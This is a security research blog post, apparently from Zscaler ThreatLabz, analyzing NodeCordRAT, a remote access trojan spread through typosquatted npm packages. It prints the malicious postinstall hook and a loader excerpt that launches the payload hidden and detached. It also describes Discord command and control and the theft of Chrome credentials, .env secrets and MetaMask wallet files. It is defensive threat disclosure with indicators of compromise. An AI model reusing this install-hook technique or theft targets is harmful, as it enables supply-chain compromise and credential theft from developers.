Zscaler Blog

Get the latest Zscaler blog updates in your inbox

Security Research

Malicious NPM Packages Deliver NodeCordRAT

SATYAM SINGH, LAKHAN PARASHAR
January 07, 2026 - 8 min read

Introduction

Zscaler ThreatLabz regularly monitors the npm database for suspicious packages. In November 2025, ThreatLabz identified three malicious packages: bitcoin-main-libbitcoin-lib-js, and bip40. The bitcoin-main-lib and bitcoin-lib-js packages execute a postinstall.cjs script during installation, which installs bip40, the package that contains the malicious payload. This final payload, named NodeCordRAT by ThreatLabz, is a remote access trojan (RAT) with data-stealing capabilities. It is also possible to download bip40 as a standalone package, completely bypassing the other libraries. To deceive developers into downloading the fraudulent packages, the attacker used name variations of real repositories found within the legitimate bitcoinjs project.

In this blog post, ThreatLabz analyzes how NodeCordRAT uses Discord for command-and-control (C2), performs credential theft, and orchestrates remote shell access. Although the malicious packages have been removed from the npm database, it is important to examine these types of software supply chain vulnerabilities to learn from them.

Key Takeaways

  • In November 2025, three malicious npm packages, bitcoin-main-libbitcoin-lib-js, and bip40, were discovered. These packages were designed to deliver and install a new RAT malware family.
  • ThreatLabz named this new malware family NodeCordRAT since it is spread via npm and uses Discord servers for C2 communication.
  • NodeCordRAT targets Chrome credentials, sensitive secrets such as API tokens, and MetaMask (a popular cryptocurrency platform) data including keys and seed phrases.
  • ThreatLabz observed several thousand downloads for these malicious npm packages.

Background

The bitcoinjs project is a legitimate open-source JavaScript library used by developers to build Bitcoin-related applications. In this attack, the attacker created packages with names resembling repositories within the bitcoinjs ecosystem. These malicious packages include:

  • bip40: Mimics legitimate libraries such as bip38bip39, and bip32, part of the Bitcoin Improvement Proposals (BIPs) standard.
  • bitcoin-main-lib: While not a direct typosquat, this package uses a name similar to bitcoinjs-lib (a legitimate repository) with associations to the ecosystem.
  • bitcoin-lib-js: Closely matches the legitimate bitcoinjs-lib repository.

Package Data Summary

All three of the malicious packages were uploaded by the same author. The email address [email protected] is associated with multiple versions of the packages. The table below lists the malicious packages, their versions, and the approximate number of downloads:

Malicious package name

Version

Approximate number of downloads

bitcoin-lib-js

7.2.1

183

bitcoin-main-lib

7.2.0, 7.0.0

2,286

bip40

1.0.0, 1.0.6

958

Table 1: Malicious npm package names, version numbers, and approximate number of downloads.

Attack Flows

NodeCordRAT is deployed through npm packages with wrapper packages designed to mask the actual malicious package. For example, a developer may download bitcoin-main-lib or bitcoin-lib-js from npm. When the postinstall.cjs script runs, it will fail because it requires another package with the name bip40. Thus, a developer may install the bip40 package to satisfy this dependency. However, the bip40 package is in fact malicious and deploys the NodeCordRAT payload. The attack flow is illustrated in the figure below. 

The attack flow illustrates NodeCordRAT being deployed by bip40, which is a required dependency for wrapper packages (bitcoin-main-lib or bitcoin-lib-js).

Figure 1: The attack flow illustrates NodeCordRAT being deployed by bip40, which is a required dependency for wrapper packages (bitcoin-main-lib or bitcoin-lib-js).

Each malicious package includes a package.json, a standard file in npm packages. The attackers modified this file to include a link to the legitimate bitcoinjs project to help the malicious package appear more credible. An excerpt from the package.json code is shown below.

"scripts": {
   "audit": "better-npm-audit audit -l high",
   "build": "npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json && npm run formatjs",
   "postbuild": "find src/cjs -type f -name \"*.js\" -exec bash -c 'mv \"$0\" \"${0%.js}.cjs\"' {} \\; && chmod +x ./fixup.cjs && node fixup.cjs",
   "postinstall": "node postinstall.cjs",
   "bip40:start": "node postinstall.cjs",
   "bip40:stop": "pm2 stop bip40",
   "bip40:status": "pm2 status bip40",
   "bip40:logs": "pm2 logs bip40",
    ...,
} 
"repository": {
   "type": "git",
   "url": "https://github.com/bitcoinjs/bitcoinjs-lib.git"
 }

The postinstall.cjs script automates the execution of bip40 by resolving its entry point via require.resolve() and launching it under Process Manager 2 (PM2). The script determines the PM2 binary path based on the operating system and starts bip40 in detached mode, providing runtime persistence. This means bip40 continues running after the installer exits and PM2 will automatically restart it if it crashes during the current session. However, by default, this does not establish persistence across reboots. If PM2 isn’t locally available, the script logs a warning and exits without launching bip40. Notably, no user interaction is required at any point to trigger bip40. An excerpt from the postinstall.cjs code is shown below.

// Determines the PM2 binary path based on the operating system.
 const isWindows = process.platform === 'win32';
 const pm2Binary = path.join(
   __dirname,
   'node_modules',
   '.bin',
   isWindows ? 'pm2.cmd' : 'pm2'
 );
 // Checks if PM2 exists.
 if (!fs.existsSync(pm2Binary)) {
   console.error('pm2 binary not found. Please ensure pm2 is installed.');
   process.exit(0); // Exits gracefully.
 }
 // Starts bip40 with PM2 in detached mode so it doesn't block NPM install.
 const args = ['start', bip40Path, '--name', 'bip40'];
 
 const child = spawn(pm2Binary, args, {
   detached: true,       // Detaches from parent process.
   stdio: 'ignore',      // Ignores stdio to prevent hanging.
   windowsHide: true,    // Hides window on Windows.
 });


Technical Analysis 

The following sections examine NodeCordRAT’s capabilities, including its host fingerprinting, C2 communication, and data exfiltration methods. 

Host fingerprinting and channel naming

Before establishing C2 communication, NodeCordRAT performs host fingerprinting to generate a unique identifier for each compromised machine, in the following format: - (e.g., win32-c5a3f1b4). 

  • On Windows, NodeCordRAT fetches the machine’s UUID using wmic csproduct get UUID or the PowerShell command below:
(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
  • On Linux and macOS, NodeCordRAT targets files like /etc/machine-id or uses commands such as ioreg -rd1 to obtain a unique system ID.

C2 communication

NodeCordRAT uses Discord for its C2 communication. NodeCordRAT first connects to a hardcoded Discord server to initiate a private channel for communication between the infected system and the attacker. Commands are controlled through unique prefixes, as outlined in the table below:

Command prefix

Description

Functionality

!run

Shell command Execution

Executes arbitrary shell commands such as dirls, or complex scripts using Node.js’s exec function. 

!screenshot

Data collection

Captures a full-desktop screenshot and exfiltrates the PNG file to the Discord channel.

!sendfile

Data exfiltration

Uploads a specified file from the infected machine to the Discord channel.

Table 2: The command prefixes supported by NodeCordRAT. 

Data exfiltration

When NodeCordRAT is run, it will extract the following information from an infected system:

  • Chrome credentials: Extracts and uploads Chrome profile Login Data SQLite databases and the Local State file.
  • Sensitive secrets: Recursively searches the user’s home directory for filenames containing .env (skipping common folders like node_modules and .git) and uploads any file matches.
  • MetaMask wallets: Locates and uploads .ldb files under the Chrome User Data directory that include the MetaMask extension ID (nkbihfbeogaeaoehlefnkodbefgpgknn).

This data is exfiltrated using Discord’s API with a hardcoded token and sent to a private channel. The stolen files are uploaded as message attachments via Discord’s REST endpoint /channels/{id}/messages. Before uploading the stolen data, NodeCordRAT verifies that each file exists and is not empty. If sending a file fails, the malware will send an error message to the channel such as "Failed to send file [full file path]: [error message]" or "File does not exist: [full file path]".

Conclusion

ThreatLabz discovered three npm packages that could lead to the installation of NodeCordRAT, which steals sensitive browser information and cryptocurrency data. While these packages have been removed from npm, there will continue to be similar software supply chain threats in the future.

Zscaler Coverage

Zscaler’s multilayered cloud security platform detects indicators related to this threat at various levels with the following threat name:

Indicators Of Compromise (IOCs)

Package name

MD5 hash

bitcoin-lib-js

7a05570cda961f876e63be88eb7e12b8

bitcoin-main-lib

c1c6f4ec5688a557fd7cc5cd1b613649

bip40

9a7564542b0c53cb0333c68baf97449c


MITRE ATT&CK Framework

Tactic

Technique ID

Technique name

Description

Initial Access

T1588.006

Obtain Capabilities: Code Signing Certificates

The attacker creates a compelling narrative around a legitimate-looking npm package (via typosquatting) that contains the malicious code.

Initial Access

T1584.007

Compromise Infrastructure: Development Platforms

The attacker uses a typosquatted npm package to distribute the malware, taking advantage of developers downloading or using incorrect package names in their projects.

Execution

T1059.007

Command and Scripting Interpreter: JavaScript/JScript

The core malicious payload is a Node.js script. This technique involves executing malicious code written in JavaScript, which is native to the Node.js environment.

Defense Evasion

T1027

Obfuscated Files or Information

The original code used minimal obfuscation (hexadecimal characters, uninformative variable names) to confuse automated analysis and frustrate human reverse-engineering.

Discovery

T1082

System Information Discovery

The script gathers detailed system information, including operating system (os.platform()), and executes operating system-specific commands (wmic, ioreg) to create a unique fingerprint (UUID/Machine ID) for the compromised host.

Discovery

T1016

System Network Configuration Discovery

The script implicitly relies on network access to establish the Discord connection and C2 channel.

Command and Control (C2)

T1102.002

Web Service: Social Media

The script uses the Discord API as its primary C2 communication channel for sending and receiving commands, and exfiltrating data, using a dedicated, private channel per endpoint.

Collection

T1552.001

Unsecured Credentials: Credentials in Files

The script actively searches for and exfiltrates unencrypted or weakly-encrypted files (e.g., .env files) containing sensitive plaintext credentials and configuration secrets.

Collection

T1539

Steal Web Session Cookie

The script targets the Chrome User Data directory, indicating an intent to steal web browser session data, cookies, and saved login credentials.

Collection

T1213.001

Data from Local System: File Sharing

The custom !sendfile command allows the threat actor to exfiltrate any specific file from the compromised system's local file system.

Collection

T1113

Screen Capture

The implementation of the !screenshot command allows the attacker to visually monitor user activity and discover sensitive information displayed on the screen.

Credential Access

T1555.003

Credentials from Web Browsers

The script specifically targets the Chrome Login Data and Local State files with the intent to decrypt and harvest protected and saved browser credentials. This also includes the highly targeted exfiltration of LevelDB files found near the MetaMask wallet extension ID.

Exfiltration

T1041

Exfiltration Over C2 Channel

All sensitive data gathered (e.g., passwords, .env files, screenshots) is uploaded directly to the dedicated Discord C2 channel, using the existing connection for exfiltration.

form submtited
Thank you for reading

Was this post useful?

Disclaimer: This blog post has been created by Zscaler for informational purposes only and is provided "as is" without any guarantees of accuracy, completeness or reliability. Zscaler assumes no responsibility for any errors or omissions or for any actions taken based on the information provided. Any third-party websites or resources linked in this blog post are provided for convenience only, and Zscaler is not responsible for their content or practices. All content is subject to change without notice. By accessing this blog, you agree to these terms and acknowledge your sole responsibility to verify and use the information as appropriate for your needs.

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our privacy policy.